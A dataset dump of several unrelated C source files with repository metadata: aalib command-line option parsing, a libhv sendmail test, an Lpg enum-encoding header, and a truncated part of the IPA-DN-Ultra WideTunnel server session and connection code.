#include <string.h> #include <stdlib.h> #include "config.h" #include "aalib.h" static int inparse; static void parseenv(struct aa_hardware_params *p, aa_renderparams * r); static void aa_remove(int i, int *argc, char **argv) { int y; if (i < 0 || i >= *argc) { printf("AA Internal error #1-please report\n"); return; } for (y = i; y < *argc - 1; y++) { argv[y] = argv[y + 1]; } argv[*argc - 1] = NULL; (*argc)--; } int aa_parseoptions(struct aa_hardware_params *p, aa_renderparams * r, int *argc, char **argv) { int i, y; int supported; if (!inparse) parseenv(p, r); if (argc == NULL || argv == NULL) return 1; supported = p != NULL ? p->supported : aa_defparams.supported; if (p == NULL) p = &aa_defparams; if (r == NULL) r = &aa_defrenderparams; for (i = 1; i < *argc; i++) { if (strcmp(argv[i], "-font") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "font name expected\n"); return (0); } for (y = 0; aa_fonts[y] != NULL; y++) { if (!strcmp(argv[i], aa_fonts[y]->name) || !strcmp(argv[i], aa_fonts[y]->shortname)) { p->font = aa_fonts[y]; aa_remove(i, argc, argv); i--; break; } } if (aa_fonts[i] == NULL) { fprintf(stderr, "font name expected\n"); return (0); } i--; } else if (strcmp(argv[i], "-normal") == 0) { aa_remove(i, argc, argv); i--; supported |= AA_NORMAL_MASK; p->supported = supported; } else if (strcmp(argv[i], "-nonormal") == 0) { aa_remove(i, argc, argv); i--; supported &= ~AA_NORMAL_MASK; p->supported = supported; } else if (strcmp(argv[i], "-bold") == 0) { aa_remove(i, argc, argv); i--; supported |= AA_BOLD_MASK; p->supported = supported; } else if (strcmp(argv[i], "-nobold") == 0) { aa_remove(i, argc, argv); i--; supported &= ~AA_BOLD_MASK; p->supported = supported; } else if (strcmp(argv[i], "-boldfont") == 0) { aa_remove(i, argc, argv); i--; supported |= AA_BOLDFONT_MASK; p->supported = supported; } else if (strcmp(argv[i], "-noboldfont") == 0) { aa_remove(i, argc, argv); i--; supported &= ~AA_BOLDFONT_MASK; p->supported = supported; } else if (strcmp(argv[i], "-dim") == 0) { aa_remove(i, argc, argv); i--; supported |= AA_DIM_MASK; p->supported = supported; } else if (strcmp(argv[i], "-nodim") == 0) { aa_remove(i, argc, argv); i--; supported &= ~AA_DIM_MASK; p->supported = supported; } else if (strcmp(argv[i], "-reverse") == 0) { aa_remove(i, argc, argv); i--; supported |= AA_REVERSE_MASK; p->supported = supported; } else if (strcmp(argv[i], "-extended") == 0) { aa_remove(i, argc, argv); i--; supported |= AA_EXTENDED; p->supported = supported; } else if (strcmp(argv[i], "-eight") == 0) { aa_remove(i, argc, argv); i--; supported |= AA_EIGHT; p->supported = supported; } else if (strcmp(argv[i], "-noreverse") == 0) { aa_remove(i, argc, argv); i--; supported &= ~AA_REVERSE_MASK; p->supported = supported; } else if (strcmp(argv[i], "-inverse") == 0) { aa_remove(i, argc, argv); i--; r->inversion = 1; } else if (strcmp(argv[i], "-noinverse") == 0) { aa_remove(i, argc, argv); i--; r->inversion = 0; } else if (strcmp(argv[i], "-nodither") == 0) { aa_remove(i, argc, argv); i--; r->dither = 0; } else if (strcmp(argv[i], "-floyd_steinberg") == 0) { aa_remove(i, argc, argv); i--; r->dither = AA_FLOYD_S; } else if (strcmp(argv[i], "-error_distribution") == 0) { aa_remove(i, argc, argv); i--; r->dither = AA_ERRORDISTRIB; } else if (strcmp(argv[i], "-random") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Random dithering value expected\n"); return (0); } r->randomval = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-bright") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Bright value expected(0-255)\n"); return (0); } r->bright = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-contrast") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Contrast value expected(0-255)\n"); return (0); } r->contrast = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-width") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "width expected\n"); return (0); } p->width = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-recwidth") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "width expected\n"); return (0); } p->recwidth = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-minwidth") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "width expected\n"); return (0); } p->minwidth = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-maxwidth") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "width expected\n"); return (0); } p->maxwidth = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-height") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "height expected\n"); return (0); } p->height = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-recheight") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "height expected\n"); return (0); } p->recheight = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-minheight") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "height expected\n"); return (0); } p->minheight = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-maxheight") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "height expected\n"); return (0); } p->maxheight = atol(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-gamma") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Gamma value expected\n"); return (0); } r->gamma = atof(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-dimmul") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Dimmul value expected\n"); return (0); } p->dimmul = atof(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-boldmul") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Dimmul value expected\n"); return (0); } p->boldmul = atof(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-driver") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Driver name expected\n"); return (0); } aa_recommendhidisplay(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-kbddriver") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Driver name expected\n"); return (0); } aa_recommendhikbd(argv[i]); aa_remove(i, argc, argv); i--; } else if (strcmp(argv[i], "-mousedriver") == 0) { aa_remove(i, argc, argv); if (*argc == i) { fprintf(stderr, "Driver name expected\n"); return (0); } aa_recommendhimouse(argv[i]); aa_remove(i, argc, argv); i--; } } return (1); } static void parseenv(struct aa_hardware_params *p, aa_renderparams * r) { char *env; int argc = 1; int i; char *argv[256], *argv1[256]; inparse = 1; env = getenv("AAOPTS"); if (env == NULL) return; if (env[0]) { for (i = 0; i < strlen(env) - 1; i++) { int s; char stop = ' '; while (env[i] == ' ') i++; if (env[i] == '"') i++, stop = '"'; s = i; while (i < strlen(env) && env[i] != stop) i++; if (i - s) { argv1[argc] = argv[argc] = malloc(i - s); strncpy(argv[argc], env + s, i - s); argc++; if (argc == 255) break; } } } i = argc; if (i != 1) { aa_parseoptions(p, r, &i, argv); for (i = 1; i < argc; i++) free(argv1[i]); } inparse = 0; }
26.389058
94
0.526031
9b166f9a777156194e2f191f9cd51f3dbb7bb286
647
c
C
unittest/sendmail_test.c
isliulin/hv
f6c2d4a71d3d2bedf02f6058d5f6c1f7a3a6fd5b
[ "BSD-3-Clause" ]
2
2020-11-29T12:47:01.000Z
2020-11-29T12:47:04.000Z
unittest/sendmail_test.c
923133781/libhv
2a3dccacb7f9602cd54293809303dfd23d87aed3
[ "BSD-3-Clause" ]
null
null
null
unittest/sendmail_test.c
923133781/libhv
2a3dccacb7f9602cd54293809303dfd23d87aed3
[ "BSD-3-Clause" ]
null
null
null
#include <stdio.h> #include "smtp.h" int main(int argc, char** argv) { if (argc < 8) { printf("Usage: sendmail smtp_server username password from to subject body\n"); } const char* smtp_server = argv[1]; const char* username = argv[2]; const char* password = argv[3]; mail_t mail; mail.from = argv[4]; mail.to = argv[5]; mail.subject = argv[6]; mail.body = argv[7]; int status_code = sendmail(smtp_server, username, password, &mail); printf("sendmail: %d %s\n", status_code, smtp_status_str((enum smtp_status)status_code)); return status_code == SMTP_STATUS_OK ? 0 : status_code; }
26.958333
93
0.641422
88d57d91019ee497b8d2ff8cce652c1787ee069b
2,879
h
C
ecmascript_backend/lpg_enum_encoding_strategy.h
TyRoXx/Lpg
cbee7e6cceba239dd3832d393d047b4204897fdc
[ "MIT" ]
2
2020-03-29T12:58:39.000Z
2021-06-22T16:58:08.000Z
ecmascript_backend/lpg_enum_encoding_strategy.h
mamazu/Lpg
cbee7e6cceba239dd3832d393d047b4204897fdc
[ "MIT" ]
139
2017-05-20T15:57:22.000Z
2021-10-31T14:45:06.000Z
ecmascript_backend/lpg_enum_encoding_strategy.h
mamazu/Lpg
cbee7e6cceba239dd3832d393d047b4204897fdc
[ "MIT" ]
2
2017-05-17T18:02:18.000Z
2018-09-21T08:13:19.000Z
#pragma once #include "lpg_ecmascript_value_set.h" #include "lpg_enum_id.h" #include "lpg_type.h" #include <stddef.h> typedef enum enum_encoding_element_stateful_encoding { enum_encoding_element_stateful_encoding_indirect, enum_encoding_element_stateful_encoding_direct } enum_encoding_element_stateful_encoding; typedef struct enum_encoding_element_stateful { enum_encoding_element_stateful_encoding encoding; ecmascript_value_set direct; } enum_encoding_element_stateful; enum_encoding_element_stateful enum_encoding_element_stateful_from_direct(ecmascript_value_set direct); enum_encoding_element_stateful enum_encoding_element_stateful_from_indirect(void); bool enum_encoding_element_stateful_equals(enum_encoding_element_stateful const left, enum_encoding_element_stateful const right); typedef struct enum_encoding_element_stateless { ecmascript_value key; } enum_encoding_element_stateless; enum_encoding_element_stateless enum_encoding_element_stateless_create(ecmascript_value key); bool enum_encoding_element_stateless_equals(enum_encoding_element_stateless const left, enum_encoding_element_stateless const right); typedef struct enum_encoding_element { union { enum_encoding_element_stateful stateful; enum_encoding_element_stateless stateless; }; bool has_state; } enum_encoding_element; enum_encoding_element enum_encoding_element_from_stateful(enum_encoding_element_stateful stateful); enum_encoding_element enum_encoding_element_from_stateless(enum_encoding_element_stateless stateless); ecmascript_value_set enum_encoding_element_value_set(enum_encoding_element const from); bool enum_encoding_element_equals(enum_encoding_element const left, enum_encoding_element const right); typedef struct enum_encoding_strategy { enum_encoding_element *elements; enum_element_id count; } enum_encoding_strategy; enum_encoding_strategy enum_encoding_strategy_create(enum_encoding_element *elements, enum_element_id count); void enum_encoding_strategy_free(enum_encoding_strategy const freed); ecmascript_value_set enum_encoding_strategy_value_set(enum_encoding_strategy const from); typedef struct enum_encoding_strategy_cache { enumeration const *all_enums; enum_encoding_strategy *entries; enum_id entry_count; } enum_encoding_strategy_cache; enum_encoding_strategy_cache enum_encoding_strategy_cache_create(enumeration const *all_enums, enum_id const number_of_enums); void enum_encoding_strategy_cache_free(enum_encoding_strategy_cache const freed); enum_encoding_strategy *enum_encoding_strategy_cache_require(enum_encoding_strategy_cache *cache, enum_id const required);
41.128571
109
0.809656
bb7c2506f0eaee377dcb4d995ce37af273d8af37
25,556
c
C
src/Cedar/WtServer.c
IPA-CyberLab/IPA-DN-Super
7f7dabbeb8667c39b972044eefe34084aeec6b3e
[ "Apache-2.0" ]
4
2021-03-03T11:21:16.000Z
2021-11-27T22:47:54.000Z
src/Cedar/WtServer.c
IPA-CyberLab/IPA-DN-Ultra
6497b60e402126f42fee36b6cf4a61f246c5019d
[ "Apache-2.0" ]
null
null
null
src/Cedar/WtServer.c
IPA-CyberLab/IPA-DN-Ultra
6497b60e402126f42fee36b6cf4a61f246c5019d
[ "Apache-2.0" ]
null
null
null
// IPA-DN-Ultra Library Source Code // // License: The Apache License, Version 2.0 // https://www.apache.org/licenses/LICENSE-2.0 // // Copyright (c) IPA CyberLab of Industrial Cyber Security Center. // Copyright (c) NTT-East Impossible Telecom Mission Group. // Copyright (c) Daiyuu Nobori. // Copyright (c) SoftEther VPN Project, University of Tsukuba, Japan. // Copyright (c) SoftEther Corporation. // Copyright (c) all contributors on IPA-DN-Ultra Library and SoftEther VPN Project in GitHub. // // All Rights Reserved. // // DISCLAIMER // ========== // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // // THIS SOFTWARE IS DEVELOPED IN JAPAN, AND DISTRIBUTED FROM JAPAN, UNDER // JAPANESE LAWS. YOU MUST AGREE IN ADVANCE TO USE, COPY, MODIFY, MERGE, PUBLISH, // DISTRIBUTE, SUBLICENSE, AND/OR SELL COPIES OF THIS SOFTWARE, THAT ANY // JURIDICAL DISPUTES WHICH ARE CONCERNED TO THIS SOFTWARE OR ITS CONTENTS, // AGAINST US (IPA, NTT-EAST, SOFTETHER PROJECT, SOFTETHER CORPORATION, DAIYUU NOBORI // OR OTHER SUPPLIERS), OR ANY JURIDICAL DISPUTES AGAINST US WHICH ARE CAUSED BY ANY // KIND OF USING, COPYING, MODIFYING, MERGING, PUBLISHING, DISTRIBUTING, SUBLICENSING, // AND/OR SELLING COPIES OF THIS SOFTWARE SHALL BE REGARDED AS BE CONSTRUED AND // CONTROLLED BY JAPANESE LAWS, AND YOU MUST FURTHER CONSENT TO EXCLUSIVE // JURISDICTION AND VENUE IN THE COURTS SITTING IN TOKYO, JAPAN. YOU MUST WAIVE // ALL DEFENSES OF LACK OF PERSONAL JURISDICTION AND FORUM NON CONVENIENS. // PROCESS MAY BE SERVED ON EITHER PARTY IN THE MANNER AUTHORIZED BY APPLICABLE // LAW OR COURT RULE. // // USE ONLY IN JAPAN. DO NOT USE THIS SOFTWARE IN ANOTHER COUNTRY UNLESS YOU HAVE // A CONFIRMATION THAT THIS SOFTWARE DOES NOT VIOLATE ANY CRIMINAL LAWS OR CIVIL // RIGHTS IN THAT PARTICULAR COUNTRY. USING THIS SOFTWARE IN OTHER COUNTRIES IS // COMPLETELY AT YOUR OWN RISK. IPA AND NTT-EAST HAS DEVELOPED AND // DISTRIBUTED THIS SOFTWARE TO COMPLY ONLY WITH THE JAPANESE LAWS AND EXISTING // CIVIL RIGHTS INCLUDING PATENTS WHICH ARE SUBJECTS APPLY IN JAPAN. OTHER // COUNTRIES' LAWS OR CIVIL RIGHTS ARE NONE OF OUR CONCERNS NOR RESPONSIBILITIES. // WE HAVE NEVER INVESTIGATED ANY CRIMINAL REGULATIONS, CIVIL LAWS OR // INTELLECTUAL PROPERTY RIGHTS INCLUDING PATENTS IN ANY OF OTHER 200+ COUNTRIES // AND TERRITORIES. BY NATURE, THERE ARE 200+ REGIONS IN THE WORLD, WITH // DIFFERENT LAWS. IT IS IMPOSSIBLE TO VERIFY EVERY COUNTRIES' LAWS, REGULATIONS // AND CIVIL RIGHTS TO MAKE THE SOFTWARE COMPLY WITH ALL COUNTRIES' LAWS BY THE // PROJECT. EVEN IF YOU WILL BE SUED BY A PRIVATE ENTITY OR BE DAMAGED BY A // PUBLIC SERVANT IN YOUR COUNTRY, THE DEVELOPERS OF THIS SOFTWARE WILL NEVER BE // LIABLE TO RECOVER OR COMPENSATE SUCH DAMAGES, CRIMINAL OR CIVIL // RESPONSIBILITIES. NOTE THAT THIS LINE IS NOT LICENSE RESTRICTION BUT JUST A // STATEMENT FOR WARNING AND DISCLAIMER. // // READ AND UNDERSTAND THE 'WARNING.TXT' FILE BEFORE USING THIS SOFTWARE. // SOME SOFTWARE PROGRAMS FROM THIRD PARTIES ARE INCLUDED ON THIS SOFTWARE WITH // LICENSE CONDITIONS WHICH ARE DESCRIBED ON THE 'THIRD_PARTY.TXT' FILE. // // --------------------- // // If you find a bug or a security vulnerability please kindly inform us // about the problem immediately so that we can fix the security problem // to protect a lot of users around the world as soon as possible. // // Our e-mail address for security reports is: // daiyuu.securityreport [at] dnobori.jp // // Thank you for your cooperation. // WtServer.c // WideTunnel Server #include <GlobalConst.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <wchar.h> #include <stdarg.h> #include <time.h> #include <errno.h> #include <Mayaqua/Mayaqua.h> #include <Cedar/Cedar.h> // セッションメイン void WtsSessionMain(TSESSION *s) { UINT i; // 引数チェック if (s == NULL) { return; } // 現在の接続先 Gate の情報を取得 if (s->Sock != NULL) { char tmp[256] = CLEAN; Format(tmp, sizeof(tmp), "%s: [%r]:%u", (IsIP6(&s->Sock->RemoteIP) ? "IPv6" : "IPv4") , &s->Sock->RemoteIP, s->Sock->RemotePort); if (s->ConnectParam != NULL) { StrCat(tmp, sizeof(tmp), " ("); StrCat(tmp, sizeof(tmp), s->ConnectParam->HostName); StrCat(tmp, sizeof(tmp), ")"); } StrCpy(s->wt->CurrentGateIp, sizeof(s->wt->CurrentGateIp), tmp); WtSessionLog(s, "s->wt->CurrentGateIp = %s", s->wt->CurrentGateIp); } #ifdef OS_WIN32 MsSetThreadPriorityRealtime(); #endif // OS_WIN32 SetSockEvent(s->SockEvent); WtSessionLog(s, "WtsSessionMain: Start main loop"); while (true) { bool disconnected = false; // ソケットイベントを待機 WtsWaitForSock(s); Lock(s->Lock); { UINT i; // フラグのリセット for (i = 0;i < LIST_NUM(s->TunnelList);i++) { TUNNEL *t = LIST_DATA(s->TunnelList, i); t->SetSockIoEventFlag = false; } do { s->StateChangedFlag = false; // Gate からのデータを受信して処理 WtsRecvFromGate(s); // SOCKIO からキューを生成 WtsInsertSockIosToSendQueue(s); // Gate へデータを送信 WtsSendToGate(s); // TCP コネクションの切断の検査 disconnected = WtsCheckDisconnect(s); if (disconnected) { break; } } while (s->StateChangedFlag); if (s->Halt) { WtSessionLog(s, "WtsSessionMain: Main loop: s->Halt == true. Exiting..."); disconnected = true; } // 状態が変化した SOCKIO に対してイベントをセット for (i = 0;i < LIST_NUM(s->TunnelList);i++) { TUNNEL *t = LIST_DATA(s->TunnelList, i); if (t->SetSockIoEventFlag) { SockIoSetIoEvent(t->SockIo); } } } Unlock(s->Lock); if (disconnected) { // Gate との接続が切断されたのでセッションを終了する break; } } WtSessionLog(s, "WtsSessionMain: Exit main loop"); // 接続先 Gate 情報を消去する ClearStr(s->wt->CurrentGateIp, sizeof(s->wt->CurrentGateIp)); // すべての SOCKIO の切断 for (i = 0;i < LIST_NUM(s->TunnelList);i++) { TUNNEL *t = LIST_DATA(s->TunnelList, i); SockIoDisconnect(t->SockIo); } } // SOCKIO からキューを生成 void WtsInsertSockIosToSendQueue(TSESSION *s) { QUEUE *blockqueue; UINT i; LIST *o = NULL; // 引数チェック if (s == NULL) { return; } blockqueue = s->BlockQueue; for (i = 0;i < LIST_NUM(s->TunnelList);i++) { TUNNEL *t = LIST_DATA(s->TunnelList, i); SOCKIO *sockio; sockio = t->SockIo; if (FifoSize(s->GateTcp->SendFifo) <= WT_WINDOW_SIZE) { if (WtInsertSockIoToSendQueueEx(s->GateTcp, blockqueue, t, WT_WINDOW_SIZE - FifoSize(s->GateTcp->SendFifo))) { // s->StateChangedFlag = true; } } if (SockIoIsConnected(sockio) == false) { // SOCKIO が切断された if (o == NULL) { o = NewListFast(NULL); } Insert(o, t); } } // SOCKIO が切断されたトンネルを解放する if (o != NULL) { for (i = 0;i < LIST_NUM(o);i++) { TUNNEL *t = LIST_DATA(o, i); UINT tunnel_id = t->TunnelId; DATABLOCK *b; b = WtNewDataBlock(tunnel_id, NULL, 0, s->GateTcp->UseCompress ? 1 : 0); InsertQueue(s->BlockQueue, b); WtSessionLog(s, "Tunnel ID %u: Disconnected", tunnel_id); WtFreeTunnel(t); // Debug("WtFreeTunnel: %u\n", tunnel_id); Delete(s->TunnelList, t); WtAddUsedTunnelId(s->UsedTunnelList, tunnel_id, WT_TUNNEL_USED_EXPIRES); } ReleaseList(o); } } // SOCKIO から送信されてきたデータをキューに入れる bool WtInsertSockIoToSendQueue(TTCP *dest_ttcp, QUEUE *q, TUNNEL *t) { return WtInsertSockIoToSendQueueEx(dest_ttcp, q, t, INFINITE); } bool WtInsertSockIoToSendQueueEx(TTCP *dest_ttcp, QUEUE *q, TUNNEL *t, UINT remain_buf_size) { SOCKIO *sockio; UINT tunnel_id; FIFO *fifo; bool ret = false; // 引数チェック if (q == NULL || t == NULL) { return false; } sockio = t->SockIo; tunnel_id = t->TunnelId; fifo = SockIoGetSendFifo(sockio); while (true) { UCHAR *buf; UINT read_size; DATABLOCK *b; void *tmp; read_size = MIN(MIN(fifo->size, WT_DEFAULT_BLOCK_SIZE), remain_buf_size); if (read_size == 0) { break; } buf = (UCHAR *)fifo->p + fifo->pos; tmp = Clone(buf, read_size); b = WtNewDataBlock(tunnel_id, tmp, read_size, dest_ttcp->UseCompress ? 1 : 0); InsertQueue(q, b); ReadFifo(fifo, NULL, read_size); t->SetSockIoEventFlag = true; ret = true; } SockIoReleaseFifo(fifo); return ret; } // Gate へデータを送信 void WtsSendToGate(TSESSION *s) { TTCP *ttcp; QUEUE *blockqueue; // 引数チェック if (s == NULL) { return; } ttcp = s->GateTcp; blockqueue = s->BlockQueue; // 送信データの生成 WtMakeSendDataTTcp(s, ttcp, blockqueue, NULL, false); // 送信 WtSendTTcp(s, ttcp); } // Gate からのデータを受信して処理 void WtsRecvFromGate(TSESSION *s) { TTCP *ttcp; QUEUE *q; DATABLOCK *block; UINT last_tid1 = INFINITE; // 引数チェック if (s == NULL) { return; } ttcp = s->GateTcp; // TTCP からデータを受信 WtRecvTTcp(s, ttcp); // 受信データを解釈 q = WtParseRecvTTcp(s, ttcp, NULL); // 受信データを SOCKIO に対して配信 while ((block = GetNext(q)) != NULL) { UINT tunnel_id = block->TunnelId; TUNNEL *t = WtgSearchTunnelById(s->TunnelList, tunnel_id); SOCKIO *sockio; FIFO *fifo; if (t == NULL) { if (WtIsTunnelIdExistsInUsedTunnelIdList(s->UsedTunnelList, tunnel_id)) { WtSessionLog(s, "WtIsTunnelIdExistsInUsedTunnelIdList hit. tunnel_id = %u", tunnel_id); // 最近切断されてから一定時間が経過していないトンネル ID 宛 // の通信が来たので切断指令を返信する if (last_tid1 != tunnel_id) { DATABLOCK *b = WtNewDataBlock(tunnel_id, NULL, 0, ttcp->UseCompress ? 1 : 0); InsertQueue(s->BlockQueue, b); last_tid1 = tunnel_id; } WtFreeDataBlock(block, false); continue; } // まだ確立されていない新しいトンネル宛にデータが届いたので // 新しいトンネルを確立する WtSessionLog(s, "WtsCreateNewTunnel: tunnel_id = %u", tunnel_id); t = WtsCreateNewTunnel(s, tunnel_id); } sockio = t->SockIo; if (block->DataSize != 0) { // データあり fifo = SockIoGetRecvFifo(sockio); WriteFifo(fifo, block->Data, block->DataSize); SockIoReleaseFifo(fifo); } else { // データ無し (切断指示を受信した) // Debug("Disconnect Tunnel: %u, time: %I64u\n", tunnel_id, SystemTime64()); if (SockIoDisconnect(t->SockIo)) { WtSessionLog(s, "Tunnel ID %u: Received the disconnect command from the Gate", tunnel_id); } } WtFreeDataBlock(block, false); t->SetSockIoEventFlag = true; } ReleaseQueue(q); } // 新しいトンネルのスレッド void WtsNewTunnelThread(THREAD *thread, void *param) { WTS_NEW_TUNNEL_THREAD_PARAM *p = (WTS_NEW_TUNNEL_THREAD_PARAM *)param; TSESSION *s; UINT zero; UCHAR *buffer; UINT buffer_size = WT_INITIAL_PACK_SIZE; // 引数チェック if (thread == NULL || param == NULL) { return; } s = p->Session; LockList(s->AcceptThreadList); { Insert(s->AcceptThreadList, thread); AddRef(thread->ref); } UnlockList(s->AcceptThreadList); NoticeThreadInit(thread); buffer = ZeroMalloc(buffer_size); if (SockIoRecvAll(p->SockIo, buffer, buffer_size)) { BUF *buf = NewBuf(); PACK *pack; WriteBuf(buf, buffer, buffer_size); SeekBuf(buf, 0, 0); pack = BufToPack(buf); FreeBuf(buf); p->SockIo->InitialPack = pack; { char tmp[MAX_PATH] = CLEAN; PackGetStr(pack, "ClientHost", tmp, sizeof(tmp)); WtSessionLog(s, "New Tunnel ID %u: ClientHost: %s", p->TunnelId, tmp); } } Free(buffer); SockIoRecvAll(p->SockIo, &zero, sizeof(UINT)); CopyIP(&p->SockIo->ServerLocalIP, &p->Session->ServerLocalIP); WtSessionLog(s, "Tunnel ID %u: Start AcceptProc()", p->TunnelId); p->Session->AcceptProc(thread, p->SockIo, p->Session->AcceptProcParam); WtSessionLog(s, "Tunnel ID %u: Exit AcceptProc()", p->TunnelId); SockIoDisconnect(p->SockIo); LockList(s->AcceptThreadList); { if (Delete(s->AcceptThreadList, thread)) { ReleaseThread(thread); } } UnlockList(s->AcceptThreadList); ReleaseSockIo(p->SockIo); WtReleaseSession(p->Session); Free(p); } // 新しいトンネルを確立する TUNNEL *WtsCreateNewTunnel(TSESSION *s, UINT tunnel_id) { TUNNEL *t; SOCKIO *sockio; THREAD *thread; WTS_NEW_TUNNEL_THREAD_PARAM *p; // 引数チェック if (s == NULL) { return NULL; } // Debug("WtsCreateNewTunnel %u\n", tunnel_id); sockio = NewSockIo(s->SockEvent, NULL); SockIoSetMaxSendBufferSize(sockio, WT_WINDOW_SIZE); p = ZeroMalloc(sizeof(WTS_NEW_TUNNEL_THREAD_PARAM)); p->Session = s; p->SockIo = sockio; p->TunnelId = tunnel_id; AddRef(s->Ref); thread = NewThread(WtsNewTunnelThread, p); WaitThreadInit(thread); ReleaseThread(thread); t = WtNewTunnel(NULL, tunnel_id, sockio, NULL); Insert(s->TunnelList, t); return t; } // TCP コネクションの切断の検査 bool WtsCheckDisconnect(TSESSION *s) { bool ret = false; // 引数チェック if (s == NULL) { return false; } if (WtIsTTcpDisconnected(s, NULL, s->GateTcp)) { // サーバーとの接続が切断された ret = true; } return ret; } // ソケットイベントを待機 void WtsWaitForSock(TSESSION *s) { SOCK *sock; // 引数チェック if (s == NULL) { return; } sock = s->Sock; JoinSockToSockEvent(sock, s->SockEvent); WaitSockEvent(s->SockEvent, SELECT_TIME); s->Tick = Tick64(); } // 接続処理 void WtsConnectInner(TSESSION *session, SOCK *s, char *sni, bool *should_retry_proxy_alternative) { WT *wt; PACK *p; UINT code; SYSTEMTIME tm; UINT tunnel_timeout = WT_TUNNEL_TIMEOUT; UINT tunnel_keepalive = WT_TUNNEL_KEEPALIVE; bool tunnel_use_aggressive_timeout = false; bool dummy = false; // 引数チェック if (session == NULL || s == NULL) { return; } if (should_retry_proxy_alternative == NULL) { should_retry_proxy_alternative = &dummy; } *should_retry_proxy_alternative = false; wt = session->wt; SetTimeout(s, CONNECTING_TIMEOUT); //SetSocketSendRecvBufferSize((int)s, WT_SOCKET_WINDOW_SIZE); // SSL 通信の開始 if (StartSSLEx(s, NULL, NULL, true, 0, sni) == false) { // 失敗 WtSessionLog(session, "StartSSL Failed."); session->ErrorCode = ERR_PROTOCOL_ERROR; *should_retry_proxy_alternative = true; return; } WtSessionLog(session, "SSL Version: %s, CipherName: %s, SNI: %s", s->TlsVersion, s->CipherName, sni); SystemTime(&tm); if (session->ConnectParam->DontCheckCert == false) { // 証明書のチェック if (WtIsTrustedCert(wt, s->RemoteX) == false) { // 失敗 WtSessionLog(session, "WtIsTrustedCert Failed."); session->ErrorCode = ERR_SSL_X509_UNTRUSTED; *should_retry_proxy_alternative = true; return; } } // シグネチャのアップロード if (WtgClientUploadSignature(s) == false) { // 失敗 WtSessionLog(session, "ClientUploadSignature Failed."); session->ErrorCode = ERR_DISCONNECTED; return; } // Hello パケットのダウンロード p = HttpClientRecv(s); if (p == NULL) { // 失敗 WtSessionLog(session, "HttpClientRecv Failed."); session->ErrorCode = ERR_DISCONNECTED; return; } if (PackGetInt(p, "hello") == 0) { // 失敗 WtSessionLog(session, "PackGetInt Failed."); FreePack(p); session->ErrorCode = ERR_PROTOCOL_ERROR; return; } FreePack(p); // 接続パラメータの送信 p = NewPack(); PackAddStr(p, "method", "new_session"); PackAddBool(p, "request_initial_pack", true); WtGateConnectParamToPack(p, session->ConnectParam->GateConnectParam); PackAddBool(p, "use_compress", session->ConnectParam->UseCompress); PackAddBool(p, "support_timeout_param", true); PackAddInt(p, "build", CEDAR_BUILD); PackAddInt(p, "ver", CEDAR_VER); PackAddStr(p, "name_suite", DESK_PRODUCT_NAME_SUITE); char ver_str[128] = CLEAN; Format(ver_str, sizeof(ver_str), "Ver=%u,Build=%u,Release=%s,CommitId=%s,AppId=%s", CEDAR_VER, CEDAR_BUILD, ULTRA_VER_LABEL, ULTRA_COMMIT_ID, APP_ID_PREFIX); PackAddStr(p, "local_version", ver_str); PackAddIp(p, "local_ip", &s->LocalIP); wchar_t computer_name[128] = CLEAN; #ifdef OS_WIN32 MsGetComputerNameFullEx(computer_name, sizeof(computer_name), true); #endif // OS_WIN32 PackAddUniStr(p, "local_hostname", computer_name); if (wt->Wide != NULL) { PackAddInt(p, "se_lang", wt->Wide->SeLang); PackAddInt64(p, "server_mask_64", wt->Wide->ServerMask64); } PackAddStr(p, "env_product_name_suite", DESK_PRODUCT_NAME_SUITE); PackAddInt(p, "env_build", CEDAR_BUILD); PackAddInt(p, "env_ver", CEDAR_VER); 